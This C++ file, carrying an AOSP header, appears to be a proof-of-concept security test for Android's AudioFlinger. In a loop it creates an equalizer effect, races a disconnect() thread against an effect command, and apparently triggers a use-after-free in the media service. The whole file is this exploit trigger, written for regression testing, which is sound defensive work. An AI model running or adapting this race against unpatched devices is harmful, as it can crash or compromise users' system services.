1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #include <sys/types.h>
17 #include <sys/wait.h>
18 #include <stdlib.h>
19 #include <media/AudioSystem.h>
20 #include <hardware/audio_effect.h>
21 #include <media/IAudioFlinger.h>
22 #include <media/IEffect.h>
23 #include <media/IEffectClient.h>
24
25 using namespace android;
26
27 struct EffectClient : public android::BnEffectClient {
EffectClientEffectClient28 EffectClient() {}
controlStatusChangedEffectClient29 virtual void controlStatusChanged(bool controlGranted __unused) {}
enableStatusChangedEffectClient30 virtual void enableStatusChanged(bool enabled __unused) {}
commandExecutedEffectClient31 virtual void commandExecuted(uint32_t cmdCode __unused,
32 uint32_t cmdSize __unused,
33 void *pCmdData __unused,
34 uint32_t replySize __unused,
35 void *pReplyData __unused) {}
36 };
37
38 sp<IEffect> gEffect;
39
disconnectThread(void *)40 void *disconnectThread(void *) {
41 usleep(5);
42 if (gEffect != NULL && gEffect.get() != NULL) {
43 gEffect->disconnect();
44 }
45 return NULL;
46 }
47
main()48 int main() {
49 static const effect_uuid_t EFFECT_UIID_EQUALIZER = {
50 0x0bed4300, 0xddd6, 0x11db, 0x8f34, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}};
51
52 effect_descriptor_t descriptor;
53 memset(&descriptor, 0, sizeof(descriptor));
54 descriptor.type = EFFECT_UIID_EQUALIZER;
55 descriptor.uuid = *EFFECT_UUID_NULL;
56 sp<EffectClient> effectClient(new EffectClient());
57
58 const int32_t priority = 0;
59 audio_session_t sessionId = (audio_session_t)(128);
60 const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
61 const String16 opPackageName("com.exp.poc");
62 int32_t id;
63 int i, enabled;
64 status_t err;
65
66 uint32_t cmdCode, cmdSize, pReplySize;
67 int *pCmdData, *pReplyData;
68
69 cmdCode = EFFECT_CMD_GET_CONFIG;
70 cmdSize = 0;
71 pReplySize = sizeof(effect_config_t);
72 pCmdData = (int *)malloc(cmdSize);
73 pReplyData = (int *)malloc(pReplySize);
74
75 gEffect = NULL;
76 pthread_t pt;
77 const sp<IAudioFlinger> &audioFlinger = AudioSystem::get_audio_flinger();
78
79 for (i=0; i<100; i++) {
80 gEffect = audioFlinger->createEffect(&descriptor, effectClient, priority,
81 io, sessionId, opPackageName, getpid(),
82 &err, &id, &enabled);
83 if (gEffect == NULL || err != NO_ERROR) {
84 return -1;
85 }
86 pthread_create(&pt, NULL, disconnectThread, NULL);
87 err = gEffect->command(cmdCode, cmdSize, (void *)pCmdData, &pReplySize,
88 (void *)pReplyData);
89 usleep(50);
90 }
91 sleep(2);
92 return 0;
93 }
94